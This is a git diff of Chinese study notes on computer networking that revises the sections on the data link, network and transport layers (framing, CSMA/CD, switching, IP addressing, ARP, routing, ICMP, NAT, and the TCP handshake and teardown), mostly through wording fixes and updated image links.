@ -275,9 +235,14 @@ TCP/IP 协议族是一种沙漏形状,中间小两边大,IP 协议在其中
|
||||
|
||||
码分复用需要发送的数据量为原先的 m 倍。
|
||||
|
||||
<div align="center"> <img src="../pics//0042edad-8e3b-4279-bd93-6906fcd1b640.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//92ad9bae-7d02-43ba-8115-a9d6f530ca28.png" width="600"/> </div><br>
|
||||
|
||||
# 第三章 数据链路层
|
||||
# 三、数据链路层
|
||||
|
||||
## 信道分类
|
||||
|
||||
1. 点对点信道:一对一通信方式;
|
||||
2. 广播信道:一对多通信方式。
|
||||
|
||||
## 三个基本问题
|
||||
|
||||
@ -285,81 +250,105 @@ TCP/IP 协议族是一种沙漏形状,中间小两边大,IP 协议在其中
|
||||
|
||||
将网络层传下来的分组添加首部和尾部,用于标记帧的开始和结束。
|
||||
|
||||
<div align="center"> <img src="../pics//3402d1c0-7020-4249-9a7f-12ea2ea6adf7.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//ea5f3efe-d5e6-499b-b278-9e898af61257.jpg" width="500"/> </div><br>
|
||||
|
||||
### 2. 透明传输
|
||||
|
||||
透明表示一个实际存在的事物看起来好像不存在一样。
|
||||
|
||||
帧中有首部和尾部,如果帧的数据部分含有和首部尾部相同的内容,那么帧的开始和结束位置就会被错误的判定。需要在数据中出现首部尾部相同的内容前面插入转义字符,如果需要传输的内容正好就是转义字符,那么就在转义字符前面再加个转义字符,在接收端进行处理之后可以还原出原始数据。这个过程透明传输的内容是转义字符,用户察觉不到转义字符的存在。
|
||||
帧使用首部和尾部进行定界,如果帧的数据部分含有和首部尾部相同的内容,那么帧的开始和结束位置就会被错误的判定。需要在数据部分出现首部尾部相同的内容前面插入转义字符,如果出现转义字符,那么就在转义字符前面再加个转义字符,在接收端进行处理之后可以还原出原始数据。这个过程透明传输的内容是转义字符,用户察觉不到转义字符的存在。
|
||||
|
||||
<div align="center"> <img src="../pics//4146e14b-56b9-433c-8e3d-74b1b325399c.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//c5022dd3-be22-4250-b9f6-38ae984a04d7.jpg" width="600"/> </div><br>
|
||||
|
||||
### 3. 差错检测
|
||||
|
||||
目前数据链路层广泛使用了循环冗余检验(CRC)来检查比特差错。
|
||||
|
||||
## 点对点信道 - PPP 协议
|
||||
## 局域网
|
||||
|
||||
互联网用户通常需要连接到某个 ISP 之后才能接入到互联网,PPP 协议就是用户计算机和 ISP 进行通信时所使用的数据链路层协议。
|
||||
局域网是典型的一种广播信道,主要特点是网络为一个单位所拥有,且地理范围和站点数目均有限。
|
||||
|
||||
<div align="center"> <img src="../pics//8393f520-d824-44ea-a5f3-1c1a73d735fb.jpg"/> </div><br>
|
||||
可以按照网络拓扑对局域网进行分类:
|
||||
|
||||
在 PPP 的帧中
|
||||
<div align="center"> <img src="../pics//a6026bb4-3daf-439f-b1ec-a5a24e19d2fb.jpg" width="600"/> </div><br>
|
||||
|
||||
## PPP 协议
|
||||
|
||||
用于点对点信道中。互联网用户通常需要连接到某个 ISP 之后才能接入到互联网,PPP 协议是用户计算机和 ISP 进行通信时所使用的数据链路层协议。
|
||||
|
||||
<div align="center"> <img src="../pics//ddcf2327-8d84-425d-8535-121a94bcb88d.jpg" width="600"/> </div><br>
|
||||
|
||||
在 PPP 的帧中:
|
||||
|
||||
- F 字段为帧的定界符
|
||||
- A 和 C 字段暂时没有意义
|
||||
- FCS 字段是使用 CRC 的检验序列
|
||||
- 信息部分的长度不超过 1500
|
||||
|
||||
<div align="center"> <img src="../pics//0f39c274-b79c-4e83-8c7c-94fc2747832d.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//69f16984-a66f-4288-82e4-79b4aa43e835.jpg" width="500"/> </div><br>
|
||||
|
||||
## 局域网的拓扑
|
||||
## CSMA/CD 协议*
|
||||
|
||||
<div align="center"> <img src="../pics//8b15e36f-69b4-46b6-a07c-7234ac7c7927.jpg"/> </div><br>
|
||||
|
||||
## 广播信道 - CSMA/CD 协议*
|
||||
|
||||
在广播信道上,同一时间只能允许一台计算机发送数据。
|
||||
用于广播信道中。在广播信道上,同一时间只能允许一台计算机发送数据。
|
||||
|
||||
CSMA/CD 表示载波监听多点接入 / 碰撞检测。
|
||||
|
||||
- **多点接入** :说明这是总线型网络,许多计算机以多点的方式连接到总线上。
|
||||
- **载波监听** :每个站都必须不停地检听信道。在发送前,如果检听信道正在使用,就必须等待。
|
||||
- **碰撞检测** :在发送中,如果检听到信道已有其它站正在发送数据,就表示发生了碰撞。虽然每一个站在发送数据之前都已经检听到信道为空闲,但是由于电磁波的传播时延的存在,还是有可能会发生碰撞。
|
||||
- **载波监听** :每个站都必须不停地监听信道。在发送前,如果监听到信道正在使用,就必须等待。
|
||||
- **碰撞检测** :在发送中,如果监听到信道已有其它站正在发送数据,就表示发生了碰撞。虽然每一个站在发送数据之前都已经监听到信道为空闲,但是由于电磁波的传播时延的存在,还是有可能会发生碰撞。
|
||||
|
||||
<div align="center"> <img src="../pics//f9ed4da5-0032-41e6-991a-36d995ec28fd.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//5aa82b89-f266-44da-887d-18f31f01d8ef.png" width="600"/> </div><br>
|
||||
|
||||
记端到端的传播时延为 τ,最先发送的站点最多经过 2τ 就可以知道是否发生了碰撞,称 2τ 为 **争用期** 。只有经过争用期之后还没有检测到碰撞,才能肯定这次发送不会发生碰撞。
|
||||
|
||||
当发生碰撞时,站点要停止发送,等待一段时间再发送。这个时间采用 **截断二进制指数退避算法** 来确定,从离散的整数集合 {0, 1, .., (2<sup>k</sup>-1)} 中随机取出一个数,记作 r,然后取 r 倍的争用期作为重传等待时间。
|
||||
|
||||
## 集线器
|
||||
## 扩展局域网*
|
||||
|
||||
从表面上看,使用集线器的局域网在物理上是一个星型网。但是集线器使用电子器件来模拟实际缆线的工作,逻辑上仍是一个总线网,整个系统仍像一个传统以太网那样运行。
|
||||
### 1. 在物理层进行扩展
|
||||
|
||||
<div align="center"> <img src="../pics//3294ff06-f942-425e-aecc-ca04e45566d4.png"/> </div><br>
|
||||
使用集线器进行扩展。
|
||||
|
||||
<div align="center"> <img src="../pics//b56ef52e-3d0f-4cdd-97dc-eaed893444a5.jpg"/> </div><br>
|
||||
集线器的主要功能是对接收到的信号进行放大,以扩大网络的传输距离。
|
||||
|
||||
集线器不能根据 MAC 地址进行转发,而是以广播的方式发送数据帧。
|
||||
|
||||
集线器是一种共享式的传输设备,意味着同一时刻只能传输一组数据帧。
|
||||
|
||||
<div align="center"> <img src="../pics//823cdab7-3779-4e3a-a951-dc2d154e0ee6.jpg" width="800"/> </div><br>
|
||||
|
||||
### 2. 在链路层进行扩展
|
||||
|
||||
最开始使用的是网桥,它收到一个帧时,根据帧的 MAC 地址,查找网桥中的地址表,确定帧转发的接口。
|
||||
|
||||
网桥不是共享式设备,因此性能比集线器这种共享式设备更高。
|
||||
|
||||
交换机的问世很快就淘汰了网桥,它实质上是一个多接口网桥,而网桥是两接口。交换机的每个接口都能直接与一个主机或者另一个交换机相连,并且一般都工作在全双工方式。
|
||||
|
||||
交换机具有自学习能力,学习的是交换表的内容。交换表中存储着 MAC 地址到接口的映射。下图中,交换机有 4 个接口,主机 A 向主机 B 发送数据帧时,交换机把主机 A 到接口 1 的映射写入交换表中。为了发送数据帧到 B,先查交换表,此时没有主机 B 的表项,那么主机 A 就发送广播帧,主机 C 和主机 D 会丢弃该帧。主机 B 收下之后,查找交换表得到主机 A 映射的接口为 1,就发送数据帧到接口 1,同时交换机添加主机 B 到接口 3 的映射。
|
||||
|
||||
<div align="center"> <img src="../pics//c9cfcd20-c901-435f-9a07-3e46830c359f.jpg" width="800"/> </div><br>
|
||||
|
||||
### 3. 虚拟局域网
|
||||
|
||||
虚拟局域网可以建立与物理位置无关的逻辑组,只有在同一个虚拟局域网中的成员才会收到链路层广播信息,例如下图中 (A1, A2, A3, A4) 属于一个虚拟局域网,A1 发送的广播会被 A2、A3、A4 收到,而其它站点收不到。
|
||||
|
||||
<div align="center"> <img src="../pics//a74b70ac-323a-4b31-b4d5-90569b8a944b.png" width="600"/> </div><br>
|
||||
|
||||
## MAC 层*
|
||||
|
||||
MAC 地址是 6 字节(48 位)的地址,用于唯一表示网络适配器(网卡),一台主机拥有多少个适配器就有多少个 MAC 地址,例如笔记本电脑普遍存在无线网络适配器和有线网络适配器。
|
||||
MAC 地址是 6 字节(48 位)的地址,用于唯一标识网络适配器(网卡),一台主机拥有多少个适配器就有多少个 MAC 地址,例如笔记本电脑普遍存在无线网络适配器和有线网络适配器。
|
||||
|
||||
<div align="center"> <img src="../pics//50d38e84-238f-4081-8876-14ef6d7938b5.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//50d38e84-238f-4081-8876-14ef6d7938b5.jpg" width="600"/> </div><br>
|
||||
|
||||
在 MAC 帧中:
|
||||
|
||||
- **类型** :标记上层使用的协议;
|
||||
- **数据** :长度在 46-1500 之间,如果太小则需要填充;
|
||||
- **FCS** :帧检验序列,使用的是 CRC 检验方法;
|
||||
- **前同步码** :只是为了计算 FCS 临时加入的,计算结束之后会丢弃。
|
||||
|
||||
## 虚拟局域网
|
||||
|
||||
虚拟局域网可以建立与物理位置无关的逻辑组,只有在同一个虚拟局域网中的成员才会收到链路层广播信息,例如下图中 (A1, A2, A3, A4) 属于一个虚拟局域网,A1 发送的广播会被 A2、A3、A4 收到,而其它站点收不到。
|
||||
|
||||
<div align="center"> <img src="../pics//a74b70ac-323a-4b31-b4d5-90569b8a944b.png"/> </div><br>
|
||||
|
||||
# 第四章 网络层*
|
||||
# 四、网络层*
|
||||
|
||||
## 网际协议 IP 概述
|
||||
|
||||
@ -367,7 +356,7 @@ MAC 地址是 6 字节(48 位)的地址,用于唯一表示网络适配器
|
||||
|
||||
使用 IP 协议,可以把异构的物理网络连接起来,使得在网络层看起来好像是一个统一的网络。
|
||||
|
||||
<div align="center"> <img src="../pics//fe3d224c-8ffd-40f9-85b1-86ffe1393f6c.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//7b038838-c75b-4538-ae84-6299386704e5.jpg" width="500"/> </div><br>
|
||||
|
||||
与 IP 协议配套使用的还有三个协议:
|
||||
|
||||
@ -375,15 +364,15 @@ MAC 地址是 6 字节(48 位)的地址,用于唯一表示网络适配器
|
||||
2. 网际控制报文协议 ICMP(Internet Control Message Protocol)
|
||||
3. 网际组管理协议 IGMP(Internet Group Management Protocol)
|
||||
|
||||
<div align="center"> <img src="../pics//163cf8b4-5f30-46c9-af00-316a71b3c890.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//0a9f4125-b6ab-4e94-a807-fd7070ae726a.png" width="400"/> </div><br>
|
||||
|
||||
## IP 数据报格式
|
||||
|
||||
<div align="center"> <img src="../pics//8681db55-0873-434b-aa98-83d07e8392ae.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//85c05fb1-5546-4c50-9221-21f231cdc8c5.jpg" width="700"/> </div><br>
|
||||
|
||||
- **版本** : 有 4(IPv4)和 6(IPv6)两个值;
|
||||
|
||||
- **首部长度** : 占 4 位,因此最大值为 15。值为 1 表示的是 1 个 32 位字的长度,也就是 4 字节。因为首部固定长度为 20 字节,因此该值最小为 5。如果可选部分的长度不是 4 字节的整数倍,就用尾部的填充部分来填充。
|
||||
- **首部长度** : 占 4 位,因此最大值为 15。值为 1 表示的是 1 个 32 位字的长度,也就是 4 字节。因为首部固定长度为 20 字节,因此该值最小为 5。如果可选字段的长度不是 4 字节的整数倍,就用尾部的填充部分来填充。
|
||||
|
||||
- **区分服务** : 用来获得更好的服务,一般情况下不使用。
|
||||
|
||||
@ -393,7 +382,7 @@ MAC 地址是 6 字节(48 位)的地址,用于唯一表示网络适配器
|
||||
|
||||
- **片偏移** : 和标识符一起,用于发生分片的情况。片偏移的单位为 8 字节。
|
||||
|
||||
<div align="center"> <img src="../pics//45c86855-9b18-4cf4-a9a7-f8b6eb78d133.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//23ba890e-e11c-45e2-a20c-64d217f83430.png" width="700"/> </div><br>
|
||||
|
||||
- **生存时间** :TTL,它的存在是为了防止无法交付的数据报在互联网中不断兜圈子。以路由器跳数为单位,当 TTL 为 0 时就丢弃数据报。
|
||||
|
||||
@ -401,21 +390,21 @@ MAC 地址是 6 字节(48 位)的地址,用于唯一表示网络适配器
|
||||
|
||||
- **首部检验和** :因为数据报每经过一个路由器,都要重新计算检验和,因此检验和不包含数据部分可以减少计算的工作量。
|
||||
|
||||
## IP 地址编址
|
||||
## IP 地址编址方式
|
||||
|
||||
IP 地址的编址方式经历了三个历史阶段:
|
||||
|
||||
1. 分类;
|
||||
2. 子网划分;
|
||||
3. 无分类。
|
||||
1. 分类
|
||||
2. 子网划分
|
||||
3. 无分类
|
||||
|
||||
### 1. 分类
|
||||
|
||||
由两部分组成,网络号和主机号,其中不同类别具有不同的网络号长度,并且是固定的。
|
||||
由两部分组成,网络号和主机号,其中不同分类具有不同的网络号长度,并且是固定的。
|
||||
|
||||
IP 地址 ::= {< 网络号 >, < 主机号 >}
|
||||
|
||||
<div align="center"> <img src="../pics//2ddd6132-60be-4a72-9daa-3d9756191f4a.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//cbf50eb8-22b4-4528-a2e7-d187143d57f7.png" width="500"/> </div><br>
|
||||
|
||||
### 2. 子网划分
|
||||
|
||||
@ -423,7 +412,7 @@ IP 地址 ::= {< 网络号 >, < 主机号 >}
|
||||
|
||||
IP 地址 ::= {< 网络号 >, < 子网号 >, < 主机号 >}
|
||||
|
||||
要使用子网,必须配置子网掩码。一个 B 类地址的默认子网掩码为 255.255.0.0,如果 B 类地址的子网占两个比特,那么子网掩码为 11111111 11111111 11000000 000000,也就是 255.255.192.0。
|
||||
要使用子网,必须配置子网掩码。一个 B 类地址的默认子网掩码为 255.255.0.0,如果 B 类地址的子网占两个比特,那么子网掩码为 11111111 11111111 11000000 00000000,也就是 255.255.192.0。
|
||||
|
||||
### 3. 无分类
|
||||
|
||||
@ -443,43 +432,38 @@ CIDR 的地址掩码可以继续称为子网掩码,子网掩码首 1 长度为
|
||||
|
||||
网络层实现主机之间的通信,而链路层实现具体每段链路之间的通信。因此在通信过程中,IP 数据报的源地址和目的地址始终不变,而 MAC 地址随着链路的改变而改变。
|
||||
|
||||
<div align="center"> <img src="../pics//86b71296-0d1e-4a63-bcd9-54955b6b781b.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//66192382-558b-4b05-a35d-ac4a2b1a9811.jpg" width="700"/> </div><br>
|
||||
|
||||
## 地址解析协议 ARP
|
||||
|
||||
实现由 IP 地址得到 MAC 地址。
|
||||
|
||||
每个主机都有一个 ARP 高速缓存,存放映射表。如果一个 IP 地址到 MAC 地址的映射不在该表中,主机通过广播的方式发送 ARP 请求分组,匹配 IP 地址的主机会发送 ARP 响应分组告知其 MAC 地址。
|
||||
<div align="center"> <img src="../pics//b9d79a5a-e7af-499b-b989-f10483e71b8b.jpg" width="500"/> </div><br>
|
||||
|
||||
<div align="center"> <img src="../pics//8bc6fc2c-d198-4759-b06c-18d94d851e97.png"/> </div><br>
|
||||
每个主机都有一个 ARP 高速缓存,里面有本局域网上的各主机和路由器的 IP 地址到硬件地址的映射表。
|
||||
|
||||
如果主机 A 知道主机 B 的 IP 地址,但是 ARP 高速缓存中没有该 IP 地址到 MAC 地址的映射,此时主机 A 通过广播的方式发送 ARP 请求分组,主机 B 收到该请求后会发送 ARP 响应分组给主机 A 告知其 MAC 地址,随后主机 A 向其高速缓存中写入主机 B 的 IP 地址到硬件地址的映射。
|
||||
|
||||
<div align="center"> <img src="../pics//8006a450-6c2f-498c-a928-c927f758b1d0.png" width="700"/> </div><br>
|
||||
|
||||
## 路由器的结构
|
||||
|
||||
路由器从功能上可以划分为两大部分:路由选择和分组转发。
|
||||
路由器从功能上可以划分为:路由选择和分组转发。
|
||||
|
||||
分组转发部分由三部分组成:交换结构、一组输入端口和一组输出端口。
|
||||
分组转发结构由三个部分组成:交换结构、一组输入端口和一组输出端口。
|
||||
|
||||
<div align="center"> <img src="../pics//3a676c54-b559-4466-9b21-eb10f1e25879.jpg"/> </div><br>
|
||||
|
||||
交换结构的交换网络有以下三种实现方式:
|
||||
|
||||
<div align="center"> <img src="../pics//7f82fd18-7f16-4125-ada6-bb6b795b4fda.png"/> </div><br>
|
||||
|
||||
## 交换机与路由器的区别
|
||||
|
||||
- 交换机工作于数据链路层,能识别 MAC 地址,根据 MAC 地址转发链路层数据帧。具有自学机制来维护 IP 地址与 MAC 地址的映射。
|
||||
- 路由器位于网络层,能识别 IP 地址并根据 IP 地址转发分组。维护着路由表,根据路由表选择最佳路线。
|
||||
<div align="center"> <img src="../pics//c3369072-c740-43b0-b276-202bd1d3960d.jpg" width="600"/> </div><br>
|
||||
|
||||
## 路由器分组转发流程
|
||||
|
||||
1. 从数据报的首部提取目的主机的 IP 地址 D,得到目的网络地址 N。(路由表项是网络号而不是 IP 地址,这样做大大减少了路由表条目数量)
|
||||
1. 从数据报的首部提取目的主机的 IP 地址 D,得到目的网络地址 N。
|
||||
2. 若 N 就是与此路由器直接相连的某个网络地址,则进行直接交付;
|
||||
3. 若路由表中有目的地址为 D 的特定主机路由,则把数据报传送给表中所指明的下一跳路由器;
|
||||
4. 若路由表中有到达网络 N 的路由,则把数据报传送给路由表中所指明的下一跳路由器;
|
||||
5. 若路由表中有一个默认路由,则把数据报传送给路由表中所指明的默认路由器;
|
||||
6. 报告转发分组出错。
|
||||
|
||||
<div align="center"> <img src="../pics//8d211911-0e62-4190-ab00-d8610adec4a0.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//1ab49e39-012b-4383-8284-26570987e3c4.jpg" width="800"/> </div><br>
|
||||
|
||||
## 路由选择协议
|
||||
|
||||
@ -492,7 +476,7 @@ CIDR 的地址掩码可以继续称为子网掩码,子网掩码首 1 长度为
|
||||
1. 内部网关协议 IGP(Interior Gateway Protocol):在 AS 内部使用,如 RIP 和 OSPF。
|
||||
2. 外部网关协议 EGP(External Gateway Protocol):在 AS 之间使用,如 BGP。
|
||||
|
||||
<div align="center"> <img src="../pics//e0be6970-5b0e-44a2-bc71-df4d61c42b8f.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//276c31df-3b28-4ac2-b006-1e80fc86a64f.jpg" width="600"/> </div><br>
|
||||
|
||||
### 1. 内部网关协议 RIP
|
||||
|
||||
@ -532,32 +516,32 @@ BGP 只能寻找一条比较好的路由,而不是最佳路由。它采用路
|
||||
|
||||
每个 AS 都必须配置 BGP 发言人,通过在两个相邻 BGP 发言人之间建立 TCP 连接来交换路由信息。
|
||||
|
||||
<div align="center"> <img src="../pics//eb6271de-22c9-4f4b-8b31-eab1f560efac.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//9cd0ae20-4fb5-4017-a000-f7d3a0eb3529.png" width="600"/> </div><br>
|
||||
|
||||
## 网际控制报文协议 ICMP
|
||||
|
||||
ICMP 是为了更有效地转发 IP 数据报和提高交付成功的机会。它封装在 IP 数据报中,但是不属于高层协议。
|
||||
|
||||
<div align="center"> <img src="../pics//9b5e0fa0-9274-4219-a3a9-84fbb509c735.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//e3124763-f75e-46c3-ba82-341e6c98d862.jpg" width="500"/> </div><br>
|
||||
|
||||
ICMP 报文分为差错报告报文和询问报文。
|
||||
|
||||
<div align="center"> <img src="../pics//6e11b122-95ce-4869-bf7d-3b0d7591707e.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//aa29cc88-7256-4399-8c7f-3cf4a6489559.png" width="600"/> </div><br>
|
||||
|
||||
## 分组网间探测 PING
|
||||
|
||||
PING 是 ICMP 的一个重要应用,主要用来测试两台主机之间的连通性。
|
||||
|
||||
PING 的过程:
|
||||
Ping 发送的 IP 数据报封装的是无法交付的 UDP 用户数据报。
|
||||
|
||||
1. PING 同一个网段的主机:查找目的主机的 MAC 地址,然后直接交付。如果无法查找到 MAC 地址,就要进行一次 ARP 请求。
|
||||
2. PING 不同网段的主机:发送到网关让其进行转发。同样要发送到网关也需要通过查找网关的 MAC 地址,根据 MAC 地址进行转发。
|
||||
## Traceroute
|
||||
|
||||
## IP 多播
|
||||
Traceroute 是 ICMP 的另一个应用,用来跟踪一个分组从源点到终点的路径。
|
||||
|
||||
在一对多的通信中,多播不需要将分组复制多份,从而大大节约网络资源。
|
||||
|
||||
<div align="center"> <img src="../pics//c77b6a18-dfac-42a2-ac89-7e99481275dc.jpg"/> </div><br>
|
||||
1. 源主机向目的主机发送一连串的 IP 数据报。第一个数据报 P1 的生存时间 TTL 设置为 1,但 P1 到达路径上的第一个路由器 R1 时,R1 收下它并把 TTL 减 1,此时 TTL 等于 0,R1 就把 P1 丢弃,并向源主机发送一个 ICMP 时间超过差错报告报文;
|
||||
2. 源主机接着发送第二个数据报 P2,并把 TTL 设置为 2。P2 先到达 R1,R1 收下后把 TTL 减 1 再转发给 R2,R2 收下后也把 TTL 减 1,由于此时 TTL 等于 0,R2 就丢弃 P2,并向源主机发送一个 ICMP 时间超过差错报文。
|
||||
3. 不断执行这样的步骤,直到最后一个数据报刚刚到达目的主机,主机不转发数据报,也不把 TTL 值减 1。但是因为数据报封装的是无法交付的 UDP,因此目的主机要向源主机发送 ICMP 终点不可达差错报告报文。
|
||||
4. 之后源主机知道了到达目的主机所经过的路由器 IP 地址以及到达每个路由器的往返时间。
|
||||
|
||||
## 虚拟专用网 VPN
|
||||
|
||||
@ -571,9 +555,9 @@ PING 的过程:
|
||||
|
||||
VPN 使用公用的互联网作为本机构各专用网之间的通信载体。专用指机构内的主机只与本机构内的其它主机通信;虚拟指“好像是”,而实际上并不是,它有经过公用的互联网。
|
||||
|
||||
下图中,场所 A 和 B 的通信部经过互联网,如果场所 A 的主机 X 要和另一个场所 B 的主机 Y 通信,IP 数据报的源地址是 10.1.0.1,目的地址是 10.2.0.3。数据报先发送到与互联网相连的路由器 R1,R1 对内部数据进行加密,然后重新加上数据报的首部,源地址是路由器 R1 的全球地址 125.1.2.3,目的地址是路由器 R2 的全球地址 194.4.5.6。路由器 R2 收到数据报后将数据部分进行解密,恢复原来的数据报,此时目的地址为 10.2.0.3,就交付给 Y。
|
||||
下图中,场所 A 和 B 的通信经过互联网,如果场所 A 的主机 X 要和另一个场所 B 的主机 Y 通信,IP 数据报的源地址是 10.1.0.1,目的地址是 10.2.0.3。数据报先发送到与互联网相连的路由器 R1,R1 对内部数据进行加密,然后重新加上数据报的首部,源地址是路由器 R1 的全球地址 125.1.2.3,目的地址是路由器 R2 的全球地址 194.4.5.6。路由器 R2 收到数据报后将数据部分进行解密,恢复原来的数据报,此时目的地址为 10.2.0.3,就交付给 Y。
|
||||
|
||||
<div align="center"> <img src="../pics//bf4ed077-d481-4db7-9e7a-85d841a5a8c3.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//1556770b-8c01-4681-af10-46f1df69202c.jpg" width="800"/> </div><br>
|
||||
|
||||
## 网络地址转换 NAT
|
||||
|
||||
@ -581,29 +565,27 @@ VPN 使用公用的互联网作为本机构各专用网之间的通信载体。
|
||||
|
||||
在以前,NAT 将本地 IP 和全球 IP 一一对应,这种方式下拥有 n 个全球 IP 地址的专用网内最多只可以同时有 n 台主机接入互联网。为了更有效地利用全球 IP 地址,现在常用的 NAT 转换表把运输层的端口号也用上了,使得多个专用网内部的主机共用一个全球 IP 地址。使用端口号的 NAT 也叫做网络地址与端口转换 NAPT。
|
||||
|
||||
<div align="center"> <img src="../pics//0f31bc7a-d60b-48a6-8e3f-597708369e52.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//2719067e-b299-4639-9065-bed6729dbf0b.png" width=""/> </div><br>
|
||||
|
||||
# 第五章 运输层*
|
||||
# 五、运输层*
|
||||
|
||||
网络层只把分组发送到目的主机,但是真正通信的并不是主机而是主机中的进程。
|
||||
|
||||
运输层提供了应用进程间的逻辑通信。运输层向高层用户屏蔽了下面网络层的核心细节,使应用程序看见的好像在两个运输层实体之间有一条端到端的逻辑通信信道。
|
||||
网络层只把分组发送到目的主机,但是真正通信的并不是主机而是主机中的进程。运输层提供了进程间的逻辑通信,运输层向高层用户屏蔽了下面网络层的核心细节,使应用程序看见的好像在两个运输层实体之间有一条端到端的逻辑通信信道。
|
||||
|
||||
## UDP 和 TCP 的特点
|
||||
|
||||
- 用户数据包协议 UDP(User Datagram Protocol)是无连接的,尽最大可能交付,没有拥塞控制,面向报文(对于应用程序传下来的报文不合并也不拆分,只是添加 UDP 首部)。
|
||||
- 用户数据报协议 UDP(User Datagram Protocol)是无连接的,尽最大可能交付,没有拥塞控制,面向报文(对于应用程序传下来的报文不合并也不拆分,只是添加 UDP 首部)。
|
||||
|
||||
- 传输控制协议 TCP(Transmission Control Protocol) 是面向连接的,提供可靠交付,有流量控制,拥塞控制,提供全双工通信,面向字节流(把应用层传下来的报文看成字节流,把字节流组织成大小不等的数据块)
|
||||
- 传输控制协议 TCP(Transmission Control Protocol)是面向连接的,提供可靠交付,有流量控制,拥塞控制,提供全双工通信,面向字节流(把应用层传下来的报文看成字节流,把字节流组织成大小不等的数据块)。
|
||||
|
||||
## UDP 首部格式
|
||||
|
||||
<div align="center"> <img src="../pics//bd6c05f3-02ee-4c8a-b374-40c87154a898.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//d4c3a4a1-0846-46ec-9cc3-eaddfca71254.jpg" width="600"/> </div><br>
|
||||
|
||||
首部字段只有 8 个字节,包括源端口、目的端口、长度、检验和。12 字节的伪首部是为了计算检验和而临时添加的。
|
||||
首部字段只有 8 个字节,包括源端口、目的端口、长度、检验和。12 字节的伪首部是为了计算检验和临时添加的。
|
||||
|
||||
## TCP 首部格式
|
||||
|
||||
<div align="center"> <img src="../pics//21a00b02-c0a6-4bcd-9af0-5ec6bb66e34c.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//55dc4e84-573d-4c13-a765-52ed1dd251f9.png" width="700"/> </div><br>
|
||||
|
||||
- **序号** :用于对字节流进行编号,例如序号为 301,表示第一个字节的编号为 301,如果携带的数据长度为 100 字节,那么下一个报文段的序号应为 401。
|
||||
|
||||
@ -621,38 +603,57 @@ VPN 使用公用的互联网作为本机构各专用网之间的通信载体。
|
||||
|
||||
## TCP 的三次握手
|
||||
|
||||
<div align="center"> <img src="../pics//086871db-5871-460f-97b7-126cd738bb0e.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//e92d0ebc-7d46-413b-aec1-34a39602f787.png" width="600"/> </div><br>
|
||||
|
||||
假设 A 为客户端,B 为服务器端。
|
||||
|
||||
1. 首先 B 处于 LISTEN(监听)状态,等待客户的连接请求。
|
||||
|
||||
2. A 向 B 发送连接请求报文段,SYN=1,ACK=0,选择一个初始的序号 x。
|
||||
|
||||
3. B 收到连接请求报文段,如果同意建立连接,则向 A 发送连接确认报文段,SYN=1,ACK=1,确认号为 x+1,同时也选择一个初始的序号 y。
|
||||
|
||||
4. A 收到 B 的连接确认报文段后,还要向 B 发出确认,确认号为 y+1,序号为 x+1。
|
||||
|
||||
5. B 收到 A 的确认后,连接建立。
|
||||
|
||||
**三次握手的原因**
|
||||
|
||||
第三次握手是为了防止失效的连接请求到达服务器,让服务器错误打开连接。
|
||||
|
||||
失效的连接请求是指,客户端发送的连接请求在网络中滞留,客户端因为没及时收到服务器端发送的连接确认,因此就重新发送了连接请求。滞留的连接请求并不是丢失,之后还是会到达服务器。如果不进行第三次握手,那么服务器会误认为客户端重新请求连接,然后打开了连接。但是并不是客户端真正打开这个连接,因此客户端不会给服务器发送数据,这个连接就白白浪费了。
|
||||
|
||||
## TCP 的四次挥手
|
||||
|
||||
<div align="center"> <img src="../pics//78f65456-666b-4044-b4ee-f7692dbbc0d3.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//f87afe72-c2df-4c12-ac03-9b8d581a8af8.jpg" width="600"/> </div><br>
|
||||
|
||||
以下描述不讨论序号和确认号,因为序号和确认号的规则比较简单。并且不讨论 ACK,因为 ACK 在连接建立之后都为 1。
|
||||
|
||||
1. A 发送连接释放报文段,FIN=1;
|
||||
2. B 收到之后发出确认,此时 TCP 属于半关闭状态,B 能向 A 发送数据但是 A 不能向 B 发送数据;
|
||||
3. 当 B 要不再需要连接时,发送连接释放请求报文段,FIN=1;
|
||||
4. A 收到后发出确认,此时连接释放。
|
||||
1. A 发送连接释放报文段,FIN=1。
|
||||
|
||||
2. B 收到之后发出确认,此时 TCP 属于半关闭状态,B 能向 A 发送数据但是 A 不能向 B 发送数据。
|
||||
|
||||
3. 当 B 要不再需要连接时,发送连接释放请求报文段,FIN=1。
|
||||
|
||||
4. A 收到后发出确认,进入 TIME-WAIT 状态,等待 2MSL 时间后释放连接。
|
||||
|
||||
5. B 收到 A 的确认后释放连接。
|
||||
|
||||
**四次挥手的原因**
|
||||
|
||||
客户端发送了 FIN 连接释放报文之后,服务器收到了这个报文,就进入了 CLOSE-WAIT 状态。这个状态是为了让服务器端发送还未传送完毕的数据,传送完毕之后,服务器会发送 FIN 连接释放报文。
|
||||
|
||||
**TIME_WAIT**
|
||||
|
||||
客户端接收到服务器端的 FIN 报文后进入此状态,此时并不是直接进入 CLOSED 状态,还需要等待一个时间计时器设置的时间。这么做有两个理由:
|
||||
客户端接收到服务器端的 FIN 报文后进入此状态,此时并不是直接进入 CLOSED 状态,还需要等待一个时间计时器设置的时间 2MSL。这么做有两个理由:
|
||||
|
||||
